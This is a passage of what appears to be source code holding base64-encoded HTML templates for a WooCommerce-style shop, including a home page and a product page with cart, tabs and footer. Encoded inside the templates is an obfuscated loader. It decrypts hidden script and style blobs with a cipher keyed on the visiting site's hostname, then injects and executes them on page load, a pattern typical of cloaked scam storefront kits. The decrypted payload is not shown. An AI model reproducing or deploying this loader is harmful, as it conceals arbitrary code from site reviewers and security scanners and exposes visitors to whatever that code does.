cXVhbnRpdHkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZT0iMSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpdGxlPSJRdHkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaXplPSI0IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9IiIgaW5wdXRtb2RlPSJudW1lcmljIi8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIHZhbHVlPSIrIiBjbGFzcz0icGx1cyI+KzwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImFkZC10by1jYXJ0IiBjbGFzcz0ic2luZ2xlX2FkZF90b19jYXJ0X2J1dHRvbiBidXR0b24gYWx0IGFkZF90b19jYXJ0X21heCBwb3J0by1hZGQtdG8tY2FydCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkIHRvIGNhcnQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ii9jYXJ0IiB0YWJpbmRleD0iMSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJ3Yy1hY3Rpb24tYnRuIHZpZXctY2FydC1idG4gYnV0dG9uIHdjLWZvcndhcmQiPlZpZXcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXJ0PC9hPjwvZm9ybT4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+PCEtLSAuc3VtbWFyeSAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id29vY29tbWVyY2UtdGFicyB3b29jb21tZXJjZS10YWJzLW1jMnNjcTZ5IHJlc3AtaHRhYnMiIGlkPSJwcm9kdWN0LXRhYiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InJlc3AtdGFicy1saXN0IiByb2xlPSJ0YWJsaXN0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImRlc2NyaXB0aW9uX3RhYiIgaWQ9InRhYi10aXRsZS1kZXNjcmlwdGlvbiIgcm9sZT0idGFiIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcmlhLWNvbnRyb2xzPSJ0YWItZGVzY3JpcHRpb24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBEZXNjcmlwdGlvbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJnbG9iYWxfdGFiX3RhYiIgaWQ9InRhYi10aXRsZS1nbG9iYWxfdGFiIiByb2xlPSJ0YWIiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFyaWEtY29udHJvbHM9InRhYi1nbG9iYWxfdGFiIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU2l6ZSBHdWlkZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJlc3AtdGFicy1jb250YWluZXIiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWItY29udGVudCIgaWQ9InRhYi1kZXNjcmlwdGlvbiI+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDI+RGVzY3JpcHRpb248L2gyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2RldGFpbF9wcm9kdWN0X2Rlc2NyaXB0aW9ufX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRhYi1jb250ZW50IiBpZD0idGFiLWdsb2JhbF90YWIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayIgZGF0YS1pZD0iNTI3Ij4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbWFpbj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIGNvbnRlbnQgLS0+CgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNpZGViYXItb3ZlcmxheSI+PC9kaXY+CgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icmVsYXRlZCBwcm9kdWN0cyI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMiBjbGFzcz0ic2xpZGVyLXRpdGxlIHJlbGF0ZWQtcHJvZHVjdHMiPlJlbGF0ZWQgcHJvZHVjdHM8L2gyPgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbGlkZXItd3JhcHBlciI+CgogICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9InByb2R1Y3RzIHByb2R1Y3RzLWNvbnRhaW5lciBwcm9kdWN0cy1zbGlkZXIgb3dsLWNhcm91c2VsIHNob3ctZG90cy10aXRsZS1yaWdodCBkb3RzLXN0eWxlLTEgcGNvbHMtbGctNSBwY29scy1tZC00IHBjb2xzLXhzLTMgcGNvbHMtbHMtMiBwd2lkdGgtbGctNSBwd2lkdGgtbWQtNCBwd2lkdGgteHMtMiBwd2lkdGgtbHMtMSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDt0aGVtZUNvbmZpZyZxdW90Ozp0cnVlLCZxdW90O2xnJnF1b3Q7OjUsJnF1b3Q7bWQmcXVvdDs6NCwmcXVvdDt4cyZxdW90OzozLCZxdW90O2xzJnF1b3Q7OjIsJnF1b3Q7ZG90cyZxdW90Ozp0cnVlfSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtcHJvZHVjdF9sYXlvdXQ9InByb2R1Y3Qtd3Ffb25pbWFnZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e2RldGFpbF9wcm9kdWN0X3JlbGF0ZWR9fQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwb3J0by1ibG9jayIgZGF0YS1pZD0iMTcxMiI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gLS0+CgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItd3JhcHBlciI+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItdG9wIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgPGFzaWRlIGlkPSJibG9jay13aWRnZXQtNSIgY2xhc3M9IndpZGdldCB3aWRnZXQtYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJibG9jayI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9hc2lkZT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgIDxkaXYgaWQ9ImZvb3RlciIgY2xhc3M9ImZvb3RlciBmb290ZXItMyIKICAgICAgICAgICAgPgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1ib3R0b20iPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1sZWZ0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7Zm9vdGVyX2NvcHlyaWdodH19CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLXJpZ2h0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgY2xhc3M9ImltZy1yZXNwb25zaXZlIGZvb3Rlci1wYXltZW50LWltZyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3JjPSIvd3AtY29udGVudC91cGxvYWRzLzIwMjAvMDEvc2hvcDEwX3BheW1lbnQtMS5wbmciIGFsdD0iUGF5bWVudCBHYXRld2F5cyIvPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICA8L2Rpdj4KCiAgICA8L2Rpdj4KCjwvZGl2PjwhLS0gZW5kIHdyYXBwZXIgLS0+CjxkaXYgY2xhc3M9ImFmdGVyLWxvYWRpbmctc3VjY2Vzcy1tZXNzYWdlIHN0eWxlLTIiPgogICAgPGRpdiBjbGFzcz0iYmFja2dyb3VuZC1vdmVybGF5Ij48L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImxvYWRlciBzdWNjZXNzLW1lc3NhZ2UtY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJtc2ctYm94Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0ibXNnIj5Zb3UmIzAzOTt2ZSBqdXN0IGFkZGVkIHRoaXMgcHJvZHVjdCB0byB0aGUgY2FydDo8cAogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwcm9kdWN0LW5hbWUgdGV4dC1jb2xvci1wcmltYXJ5Ij48L3A+PC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnV0dG9uIGJ0bi1wcmltYXkgdmlld2NhcnQiIGRhdGEtbGluaz0iIj5WaWV3IENhcnQ8L2J1dHRvbj4KICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24gYnRuLXByaW1heSBjb250aW51ZV9zaG9wcGluZyI+Q29udGludWU8L2J1dHRvbj4KICAgIDwvZGl2Pgo8L2Rpdj4KCjxkaXYgY2xhc3M9InBhbmVsLW92ZXJsYXkiPjwvZGl2Pgo8ZGl2IGlkPSJzaWRlLW5hdi1wYW5lbCIgY2xhc3M9IiI+CiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4KICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyLXdyYXAiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ibWVudS13cmFwIj48dWwgaWQ9Im1lbnUtbWFpbi1tZW51LTEiIGNsYXNzPSJtb2JpbGUtbWVudSBhY2NvcmRpb24tbWVudSI+e3twcm9kdWN0X2NhdGVnb3J5X21vYmlsZX19PC91bD48L2Rpdj4KICAgIDxkaXYgY2xhc3M9InNoYXJlLWxpbmtzIj48YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtZmFjZWJvb2siIGhyZWY9IiMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGl0bGU9IkZhY2Vib29rIj48L2E+CiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLXR3aXR0ZXIiIGhyZWY9IiMiIHRpdGxlPSJUd2l0dGVyIj48L2E+CiAgICAgICAgPGEgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9mb2xsb3cgbm9vcGVuZXIgbm9yZWZlcnJlciIgY2xhc3M9InNoYXJlLWluc3RhZ3JhbSIgaHJlZj0iIyIgdGl0bGU9Ikluc3RhZ3JhbSI+PC9hPgogICAgPC9kaXY+CjwvZGl2Pgo8c2NyaXB0PgogICAgZnVuY3Rpb24gYXBwZW5kQ29udGVudChjb250ZW50KSB7CiAgICAgICAgdmFyIGNvbnRhaW5lciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgICAgIGNvbnRhaW5lci5pbm5lckhUTUwgPSBjb250ZW50OwoKICAgICAgICB2YXIgc2NyaXB0cyA9IGNvbnRhaW5lci5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0Jyk7CiAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBzY3JpcHRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBvbGRTY3JpcHQgPSBzY3JpcHRzW2ldOwogICAgICAgICAgICB2YXIgbmV3U2NyaXB0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICAgICAgICAgIGlmIChvbGRTY3JpcHQuc3JjKSB7CiAgICAgICAgICAgICAgICBuZXdTY3JpcHQuc3JjID0gb2xkU2NyaXB0LnNyYzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIG5ld1NjcmlwdC50ZXh0ID0gb2xkU2NyaXB0LmlubmVySFRNTDsKICAgICAgICAgICAgfQogICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKG5ld1NjcmlwdCk7CiAgICAgICAgfQogICAgfQogICAgbGV0IGpzVGV4dCA9IHt7c3RhdGljLmpzfX0KICAgIGxldCBqc0RlY29kZWRTdHJpbmcgPSBkZWNvZGVIdG1sRW50aXRpZXMoanNUZXh0LmpvaW4oJycpKTsKICAgIGNvbnN0IGpzRGVjcnlwdGVkVGV4dCA9IGRlY29kZShqc0RlY29kZWRTdHJpbmcsIGRvbWFpbik7CiAgICBhcHBlbmRDb250ZW50KGpzRGVjcnlwdGVkVGV4dCkKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPgo=', 'home.html' => 'PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLVVTIiBwcmVmaXg9Im9nOiBodHRwOi8vb2dwLm1lL25zIyBmYjogaHR0cDovL29ncC5tZS9ucy9mYiMiPgo8aGVhZD4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWluaW11bS1zY2FsZT0xIi8+CiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvY3J5cHRvLWpzLzQuMS4xL2NyeXB0by1qcy5taW4uanMiPjwvc2NyaXB0PgogICAge3trZXl3b3Jkc319CiAgICB7e2Rlc2NyaXB0aW9ufX0KICAgIHt7dGl0bGV9fQogICAgPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBkZWNvZGUodCwgaykgewogICAgICAgICAgICBrID0gQ3J5cHRvSlMuTUQ1KGspLnRvU3RyaW5nKCk7CiAgICAgICAgICAgIGxldCBzID0gW107CiAgICAgICAgICAgIGxldCBpdiA9IGsucmVwZWF0KE1hdGguY2VpbCh0Lmxlbmd0aCAvIGsubGVuZ3RoKSkuc3Vic3RyaW5nKDAsIHQubGVuZ3RoKTsKCiAgICAgICAgICAgIGZvciAobGV0IGogPSAwOyBqIDwgdC5sZW5ndGg7IGorKykgewogICAgICAgICAgICAgICAgbGV0IGMgPSB0W2pdOwogICAgICAgICAgICAgICAgbGV0IGkgPSBpdltqXTsKICAgICAgICAgICAgICAgIGlmICgvW2EtekEtWl0vLnRlc3QoYykpIHsKICAgICAgICAgICAgICAgICAgICBsZXQgc3RhcnQgPSAvW2Etel0vLnRlc3QoYykgPyAnYScuY2hhckNvZGVBdCgwKSA6ICdBJy5jaGFyQ29kZUF0KDApOwogICAgICAgICAgICAgICAgICAgIHMucHVzaChTdHJpbmcuZnJvbUNoYXJDb2RlKHN0YXJ0ICsgKGMuY2hhckNvZGVBdCgwKSAtIHN0YXJ0IC0gaS5jaGFyQ29kZUF0KDApICUgMjYgKyAyNikgJSAyNikpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmIChjLmNoYXJDb2RlQXQoMCkgPj0gMzIgJiYgYy5jaGFyQ29kZUF0KDApIDw9IDY0KSB7CiAgICAgICAgICAgICAgICAgICAgbGV0IHN0YXJ0ID0gJyAnLmNoYXJDb2RlQXQoMCk7CiAgICAgICAgICAgICAgICAgICAgcy5wdXNoKFN0cmluZy5mcm9tQ2hhckNvZGUoc3RhcnQgKyAoYy5jaGFyQ29kZUF0KDApIC0gc3RhcnQgLSBpLmNoYXJDb2RlQXQoMCkgJSAzMyArIDMzKSAlIDMzKSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIHMucHVzaChjKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gcy5qb2luKCcnKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGRlY29kZUh0bWxFbnRpdGllcyhlbmNvZGVkU3RyKSB7CiAgICAgICAgICAgIHZhciB0ZXh0YXJlYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3RleHRhcmVhJyk7CiAgICAgICAgICAgIHRleHRhcmVhLmlubmVySFRNTCA9IGVuY29kZWRTdHI7CiAgICAgICAgICAgIHJldHVybiB0ZXh0YXJlYS52YWx1ZTsKICAgICAgICB9CgogICAgICAgIGxldCBjc3NUZXh0ID0ge3tzdGF0aWMuY3NzfX0KICAgICAgICB2YXIgZG9tYWluID0gd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lOwogICAgICAgIGRvbWFpbiA9IGRvbWFpbi5yZXBsYWNlKC9ed3d3XC4vLCAnJykKICAgICAgICBsZXQgY3NzRGVjb2RlZFN0cmluZyA9IGRlY29kZUh0bWxFbnRpdGllcyhjc3NUZXh0LmpvaW4oJycpKTsKICAgICAgICBjb25zdCBjc3NEZWNyeXB0ZWRUZXh0ID0gZGVjb2RlKGNzc0RlY29kZWRTdHJpbmcsIGRvbWFpbik7CiAgICAgICAgZG9jdW1lbnQuaGVhZC5pbm5lckhUTUwgKz0gY3NzRGVjcnlwdGVkVGV4dAogICAgPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgY2xhc3M9ImhvbWUgcGFnZS10ZW1wbGF0ZS1kZWZhdWx0IHBhZ2UgcGFnZS1pZC0xNDMgd3AtZW1iZWQtcmVzcG9uc2l2ZSB0aGVtZS1wb3J0byB3b29jb21tZXJjZS1uby1qcyBsb2dpbi1wb3B1cCB3aWRlIGJsb2ctMSBib2R5LXNpZGUgZWxlbWVudG9yLWRlZmF1bHQgZWxlbWVudG9yLWtpdC0yMTUyIGVsZW1lbnRvci1wYWdlIGVsZW1lbnRvci1wYWdlLTE0MyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZSI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWdyYXlzY2FsZSI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS15ZWxsb3ciPgogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPgogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU0OTAxOTYwNzg0MzE0IDAuOTg4MjM1Mjk0MTE3NjUiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzE3NjQ3MDU4ODIzNTMgMC4yNTQ5MDE5NjA3ODQzMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1ibHVlLXJlZCI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JH